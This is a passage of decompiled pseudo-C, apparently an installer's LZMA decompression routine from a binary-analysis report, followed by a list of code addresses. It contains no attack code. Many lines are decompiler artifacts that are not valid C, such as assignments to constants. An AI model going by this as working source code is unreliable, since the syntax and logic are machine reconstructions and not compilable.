							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M00406BD6))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406333
0x00406333
0x00406338
0x004063af
0x004063b6
0x004063c0
0x0040699f
0x0040699f
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00406a15
0x00406a15
0x00406a1b
0x00406a1b
0x00000000
0x004069f0
0x004069f0
0x004069f4
0x00406ba3
0x00000000
0x00406ba3
0x00406a00
0x00406a07
0x00406a0f
0x00406a12
0x00000000
0x00406a12
0x0040633a
0x0040633a
0x0040633e
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635f
0x00406366
0x00406369
0x00406374
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406383
0x004063a1
0x004063a3
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
